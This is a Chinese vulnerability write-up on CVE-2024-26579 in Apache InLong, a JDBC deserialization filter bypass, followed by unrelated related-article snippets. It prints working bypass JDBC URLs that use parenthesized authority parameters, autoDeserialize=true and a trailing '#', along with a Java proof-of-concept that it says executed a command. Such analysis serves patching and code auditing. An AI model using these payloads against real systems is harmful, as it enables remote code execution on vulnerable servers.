反序列化漏洞浅析

Apache InLong 是开源的高性能数据集成框架,支持数据接入、数据同步和数据订阅,同时支持批处理和流处理,方便业务构建基于流式的数据分析、建模和应用。浅析Apache InLong < 1.12.0 JDBC反序列化漏洞(CVE-2024-26579)
0x00 前言
Apache InLong 是开源的高性能数据集成框架,支持数据接入、数据同步和数据订阅,同时支持批处理和流处理,方便业务构建基于流式的数据分析、建模和应用。
在这里插入图片描述
0x01 CVE-2024-26579
在受影响版本中,由于 MySQLSensitiveUrlUtils 类只限制了?形式的JDBC连接字符串参数,攻击者可通过()规避?引入autoDeserialize、allowLoadLocalInfile等额外的参数。并通过#注释后续内容,绕过从而此前修复过滤逻辑,在连接攻击者可控的服务地址时,攻击者可利用该漏洞远程执行任意代码。

1.1 影响范围
org.apache.inlong:inlong-manager@[1.7.0, 1.12.0)
1.2 修复方案
将组件 org.apache.inlong:inlong-manager 升级至 1.12.0 及以上版本
0x02 漏洞分析与复现
以1.11.0版本为例。结合历史漏洞,一般是通过org.apache.inlong.manager.web.controller.DataNodeController#testConnection接口进行利用:
在这里插入图片描述
实际上调用的是org.apache.inlong.manager.service.node.starrocks.StarRocksDataNodeOperator#testConnection:
在这里插入图片描述
这里首先会通过org.apache.inlong.manager.pojo.node.starrocks.StarRocksDataNodeDTO#convertToJdbcUrl方法对用户传递的jdbcUrl进行一定的处理:
在这里插入图片描述
本质上是通过org.apache.inlong.manager.pojo.util.MySQLSensitiveUrlUtils#filterSensitive对恶意的内容进行处理,包括一些历史的绕过CVE也是在该方法进行修复处理的:
在这里插入图片描述
例如CVE-2023-46227只对用户输入的 jdbc url 参数中的空格做了过滤,没有对其他空白字符过滤。具备 InLong Web 端登陆权限的攻击者可以使用\t绕过对 jdbc url 中autoDeserialize、allowUrlInLocalInfile、allowLoadLocalInfileInPath参数的检测,进而在MySQL客户端造成任意代码执行、任意文件读取等危害。在filterSensitive方法中也可以看到对应修复的痕迹:
在这里插入图片描述
最终在org.apache.inlong.manager.service.resource.sink.starrocks.StarRocksJdbcUtils#getConnection尝试进行连接。

本质上CVE-2024-26579也是filterSensitive方法的绕过,下面分析具体的绕过过程:

2.1 现有防护措施
首先看看1.11.0版本org.apache.inlong.manager.pojo.util.MySQLSensitiveUrlUtils#filterSensitive具体的防护措施。主要思路是是从给定的 URL 中过滤掉敏感参数。

在非空判断后,使用 URLDecoder.decode 方法循环解码 URL,直到没有百分号编码的字符(InlongConstants.PERCENT)为止:
在这里插入图片描述
然后通过正则表达式 InlongConstants.REGEX_WHITESPACE 移除 URL 中的所有空白字符:
在这里插入图片描述
检查处理后的 URL 是否包含问号InlongConstants.QUESTION_MARK,如果存在参数部分,将其拆分为键值对:
在这里插入图片描述
在这个过程中,会检查请求的参数是否在对应的Map中,如果是,则跳过该参数:
在这里插入图片描述
并且将 SENSITIVE_REPLACE_PARAM_MAP 中的key-value添加到对应的参数列表中:
在这里插入图片描述
综上,Apache InLong会通过在jdbcUrl尾部强行添加 autoDeserialize=false通过覆盖变量进行处理,同时考虑到了URL编码、空白符等绕过风险。

2.2 绕过方式
之前也简单整理过Jdbc Attack防护绕过的思路,具体可见https://forum.butian.net/share/2771 。很明显漏洞影响版本的Apache InLong没有对#注释符进行额外的处理。从修复的commit(https://github.com/apache/inlong/commit/a59a81425f4fd5ce601dc02b04f31a49e3eacbec )也可以看到确实新增了对#注释符的处理:

在这里插入图片描述
根据前面的分析,Apache InLong会通过在jdbcUrl尾部强行添加 autoDeserialize=false通过覆盖变量进行处理,这样即使攻击者在连接url中设置了autoDeserialize参数也会被覆盖掉。

而在mysql-connector-java-8.0.x的解析过程中,会调用ConnectionUrlParser#parseConnectionString方法对传入的url进行进一步的处理,在parseConnectionString方法中,会通过正则捕获对应的内容:

private static final Pattern CONNECTION_STRING_PTRN = Pattern.compile(“(?[\w:%]+)\s*(?😕/(?[/?#]*))?\s*(?😕(?!\s*/)(?[?#]))?(?:\?(?!\s\?)(?[^#]))?(?:\s#(?.*))?”);
可知在匹配 URL 的查询参数部分时,使用 (?[^#]*) 匹配查询参数,这里#充当了注释符的作用,在获取query时会将#后面的注释部分去掉。也就是说,8.0.x版本实际上是支持通过注释符#来注释掉后面的内容的。那么就可以通过#注释掉之后拼接的内容。

但是仅仅通过#注释符是没办法进行利用的,因为Apache InLong在处理时会检查请求的参数是否在对应的Map中,如果是,则跳过该参数。而这个参数是通过?处理得到的。即使#处理掉了Apache InLong拼接的额外内容,也没办法通过?autoDeserialize=true的方式写入恶意的参数。

实际上还有一处修复的commit(https://github.com/apache/inlong/commit/eef8d05b0bf61ea60a7ea5dfd31010c0b2bf57a8 ),这里多了一段字符串替换的逻辑:

在这里插入图片描述
这里会对经过解码和剔除空白符的url进行处理,遍历SENSITIVE_REPLACE_PARAM_MAP的key,对类似autoDeserialize=true的内容替换成null。那么为什么要增加这段逻辑呢?
在这里插入图片描述
在对应的issues中翻到了这一条记录https://github.com/apache/inlong/issues/9689 ,从内容上大致可以看到是通过()规避?引入autoDeserialize、allowLoadLocalInfile等额外的参数:

在这里插入图片描述
以mysql-connector-java-8.0.19.jar为例,查看具体的解析逻辑,若请求的jdbcUrl合法,则调用ConnectionUrl.getConnectionUrlInstance⽅法,这里会调用ConnectionUrlParser#parseConnectionString方法对传入的url进行进一步的处理,在parseConnectionString方法中,主要是通过正则捕获对应的内容:
在这里插入图片描述
在getConnectionUrlInstance方法中,首先从 parser 中获取主机的列表大小:
在这里插入图片描述
这里会调用parseAuthoritySection方法进行解析:
在这里插入图片描述
如果请求的authority 不为null,会调用parseAuthoritySegment进行处理:
在这里插入图片描述
在parseAuthoritySegment方法中,会尝试使用不同的方法构建 HostInfo 对象:

buildHostInfoForEmptyHost
buildHostInfoResortingToUriParser
buildHostInfoResortingToSubHostsListParser
buildHostInfoResortingToKeyValueSyntaxParser
buildHostInfoResortingToAddressEqualsSyntaxParser
buildHostInfoResortingToGenericSyntaxParser
在这里插入图片描述
最终完成 HostInfo 对象,同时authority中的参数也会作为请求的参数进行解析。

查看具体HostInfo的解析方式,发现buildHostInfoResortingToKeyValueSyntaxParser和buildHostInfoResortingToAddressEqualsSyntaxParser的解析都跟()有关,可以通过()来进行参数的传递:

final Pattern KEY_VALUE_HOST_PTRN = Pattern.compile(“[,\s](?[\w\.\-\s%])(?:=(?[^,]))?“);
private static final Pattern ADDRESS_EQUALS_HOST_PTRN = Pattern.compile(”\s
\(\s*(?[\w\.\-%]+)?\s*(?:=(?[^)]))?\)\s”);
在这里插入图片描述
在这里插入图片描述
结合前面的分析,因为filterSensitive仅仅考虑了?传递参数的情况。结合mysql-connector-java的解析,可以通过在authority进行参数的传递,主要有如下两种方式:

(键值对形式)
jdbc:mysql://(host=127.0.0.1,port=54324,queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor,autoDeserialize=true)/test?
address=(键值对形式)
jdbc:mysql://address=(host=127.0.0.1)(port=54324) (queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor)(autoDeserialize=true)/test?
结合漏洞版本忽略了#注释的处理,在jdbc请求的url后追加#注释,即可绕过现有的安全防护。

验证前面的猜想,通过下面的代码模拟org.apache.inlong.manager.web.controller.DataNodeController#testConnection接口的调用过程,尝试进行绕过:

try {
String url=“jdbc:mysql://address=(host=127.0.0.1)(port=54324) (queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor)(autoDeserialize=true)/test?#”;
String jdbcURL= MySQLSensitiveUrlUtils.filterSensitive(url);
Class.forName(“com.mysql.cj.jdbc.Driver”);
DriverManager.getConnection(jdbcURL,“CB 1.9”,“”);
} catch (Exception e) {
e.printStackTrace();
}
在这里插入图片描述
可以看到成功绕过了org.apache.inlong.manager.pojo.util.MySQLSensitiveUrlUtils#filterSensitive防护机制,执行了对应的命令:
在这里插入图片描述
(键值对形式)同理:
在这里插入图片描述
0x03 其他
实际上官方文档也提及到上述所说的传递参数的方式https://dev.mysql.com/doc/connector-j/en/connector-j-reference-jdbc-url-format.html ,还有一些其他的例子:
在这里插入图片描述
在实际业务场景中,一般针对JDBC Attack的防护主要分为两种:

支持jdbc连接串的直接传递,会将jdbc连接串按预置模板解析出对应的字段,然后再进行安全检查
不支持jdbc连接串的直接传递,但是host、用户名、密码、数据库名以及自定义的连接字符串这一系列输入可能通过StringBuilder#append进行拼接,最终合并成一个完成的jdbcUrl进行连接。在这个过程中对对应的字符进行检查
如果在实际防护中没有考虑到上述的传参方式的话,例如host字段可能没有限制具体的内容,还是会存在对应的安全风险的。在实际代码审计过程中可以额外关注。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/468636.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于微信小程序的移动学习平台的设计与实现+ssm(lw+演示+源码+运行)

摘 要 由于APP软件在开发以及运营上面所需成本较高&#xff0c;而用户手机需要安装各种APP软件&#xff0c;因此占用用户过多的手机存储空间&#xff0c;导致用户手机运行缓慢&#xff0c;体验度比较差&#xff0c;进而导致用户会卸载非必要的APP&#xff0c;倒逼管理者必须改…

SQL中的内连接(inner join)、外连接(left|right join、full join)以及on关键字中涉及分区筛选、null解释

一、简介 本篇幅主要介绍了&#xff1a; SQL中内连接&#xff08;inner join&#xff09;、外连接&#xff08;left join、right join、full join&#xff09;的机制;连接关键字on上涉及表分区筛选的物理执行及引擎优化&#xff1b;null在表关联时的情况与执行&#xff1b; …

【Linux】软硬链接和动静态库

&#x1f525; 个人主页&#xff1a;大耳朵土土垚 &#x1f525; 所属专栏&#xff1a;Linux系统编程 这里将会不定期更新有关Linux的内容&#xff0c;欢迎大家点赞&#xff0c;收藏&#xff0c;评论&#x1f973;&#x1f973;&#x1f389;&#x1f389;&#x1f389; 文章目…

Orleans集群及Placement设置

服务端界面使用相同的clusterid和serviceid&#xff0c;相同ip地址&#xff0c;不同网关端口号和服务端口号&#xff0c;启动两个silo服务&#xff0c;并使用MySql数据库做Silo间信息同步&#xff0c;实现集群。 silo服务启动代码如下&#xff08;从nuget下载Microsoft.Orleans…

iphone怎么删除重复的照片的新策略

Phone用户常常面临存储空间不足的问题&#xff0c;其中一个主要原因是相册中的重复照片。这些重复项不仅占用了大量的存储空间&#xff0c;还会影响设备的整体性能。本文将向您展示iphone怎么删除重复的照片的方法&#xff0c;包括一些利用工具来自动化这个过程的创新方法。 识…

C++ 的第一个程序

目录 一 . C的第一个程序 二 . 命名空间 2.1 namespace的价值 2.1 namespace 的定义 7.3 命名空间的使用 三 . C输入&输出 四 . 缺省参数 五 . 函数重载 六 . 引用 6.1 引用的概念和定义 6.2 引用的特性 6.3 引用的使用 6.4 const 引用 6.5 指针和引用的关系&…

C#开发基础:WPF和WinForms关于句柄使用的区别

1、前言 在 Windows 应用程序开发中&#xff0c;WPF&#xff08;Windows Presentation Foundation&#xff09;和 WinForms&#xff08;Windows Forms&#xff09;是两种常见的用户界面&#xff08;UI&#xff09;框架。它们各自有不同的架构和处理方式&#xff0c;其中一个显…

WPS Office手机去广高级版

工具介绍功能特点 WPS Office是使用人数最多的移动办公软件&#xff0c;独有手机阅读模式&#xff0c;字体清晰翻页流畅&#xff1b;完美支持文字&#xff0c;表格&#xff0c;演示&#xff0c;PDF等51种文档格式&#xff1b;新版本具有海量精美模版及高级功能 安装环境 [名称…

【Three.js基础学习】21.Realistic rendering

前言 课程回顾 渲染器 1.色调映射 值意在将高动态范围](HDR)值转换为低动态范围(LDR) Three.is中的色调映射实际上会伪造将LDR转换为HDR的过程&#xff0c;即使颜色不是HDR&#xff0c; 结果会产生非常逼真的渲染效果 THREE .NoToneMapping (default) 无色调映射 THREE.Linear…

TeamTalk知识点梳理一(单聊)

文章目录 db_proxy_serverdb_proxy_server reactor响应处理流程连接池redis连接池MySQL连接池 单聊消息消息如何封装&#xff1f;如何保证对端完整解析一帧消息&#xff1f;协议格式&#xff1f;单聊消息流转流程消息序号&#xff08;msg_id &#xff09;为什么使用redis生成&a…

LLaMA-Factory学习笔记(1)——采用LORA对大模型进行SFT并采用vLLM部署的全流程

该博客是我根据自己学习过程中的思考与总结来写作的&#xff0c;由于初次学习&#xff0c;可能会有错误或者不足的地方&#xff0c;望批评与指正。 1. 安装 1.1 LLaMA-Factory安装 安装可以参考官方 readme &#xff08;https://github.com/hiyouga/LLaMA-Factory/blob/main/…

Linux -- 进程初印象

目录 预备知识 切入点 PCB 看见进程 pid getpid 函数 预备知识 Linux -- 冯诺依曼体系结构&#xff08;硬件&#xff09;-CSDN博客https://blog.csdn.net/2301_76973016/article/details/143598784?spm1001.2014.3001.5501 Linux -- 操作系统&#xff08;软件&#xf…

342--358作业整理(错误 + 重点)

目录 1. 在需要运行的类中 定义 main 方法 2. this 。访问逻辑&#xff1a;先访问本类中&#xff0c;再访问父类中可以访问的成员&#xff08;不包括和本类中重名的成员&#xff09; 3. super 。访问逻辑&#xff1a;super&#xff08;父类对象&#xff09;直接访问父类及以…

Jekins篇(搭建/安装/配置)

目录 一、环境准备 1. Jenkins安装和持续集成环境配置 2. 服务器列表 3. 安装环境 Jekins 环境 4. JDK 环境 5. Maven环境 6. Git环境 方法一&#xff1a;yum安装 二、JenKins 安装 1. JenKins 访问 2. jenkins 初始化配置 三、Jenkins 配置 1. 镜像配置 四、Mave…

【Linux】冯诺依曼体系结构

目录 一、冯诺依曼体系结构二、冯诺依曼体系结构的基本组成三、关于冯诺依曼体系结构的一些问题结尾 一、冯诺依曼体系结构 冯诺依曼体系结构&#xff0c;也称为普林斯顿结构&#xff0c;是现代计算机设计的基础框架。这一体系结构由数学家冯诺依曼在20世纪40年代提出&#xf…

M1M2 MAC安装windows11 虚拟机的全过程

M1/M2 MAC安装windows11 虚拟机的全过程 这两天折腾了一下windows11 arm架构的虚拟机&#xff0c;将途中遇到的坑总结一下。 1、虚拟机软件&#xff1a;vmware fusion 13.6 或者 parallel 19 &#xff1f; 结论是&#xff1a;用parellel 19。 这两个软件都安装过&#xff0…

NAT、代理服务与内网穿透技术全解析

&#x1f351;个人主页&#xff1a;Jupiter. &#x1f680; 所属专栏&#xff1a;Linux从入门到进阶 欢迎大家点赞收藏评论&#x1f60a; 目录 NAT 技术背景NAT IP 转换过程NAPTNAT 技术的缺陷 代理服务器正向代理工作原理功能特点应用场景 反向代理基本原理应用场景 NAT 和代理…

优选算法 - 1 ( 双指针 移动窗口 8000 字详解 )

一&#xff1a;双指针 1.1 移动零 题目链接&#xff1a;283.移动零 class Solution {public void moveZeroes(int[] nums) {for(int cur 0, dest -1 ; cur < nums.length ; cur){if(nums[cur] 0){}else{dest; // dest 先向后移动⼀位int tmp nums[cur];nums[cur] num…

qt配合映美精取图开发

最近开发一个项目&#xff0c;用映美精相机配合halcon做取图开发&#xff0c;由于网上资料小特意写个记录。到映美精官网下载驱动&#xff0c;映美精官网&#xff0c;下载映美精的工具开发包SDK 映美精的SDK下载SDK后找到classlib文件夹 里面就是SDK新建一个qt程序&#xff0c…

华为云计算HCIE-Cloud Computing V3.0试验考试北京考场经验分享

北京试验考场 北京考场位置 1.试验考场地址 北京市海淀区北清路156号中关村环保科技示范园区M地块Q21楼 考试场选择北京&#xff0c;就是上面这个地址&#xff0c;在预约考试的时候会显示地址&#xff0c;另外在临近考试的时候也会给你发邮件&#xff0c;邮件内会提示你考试…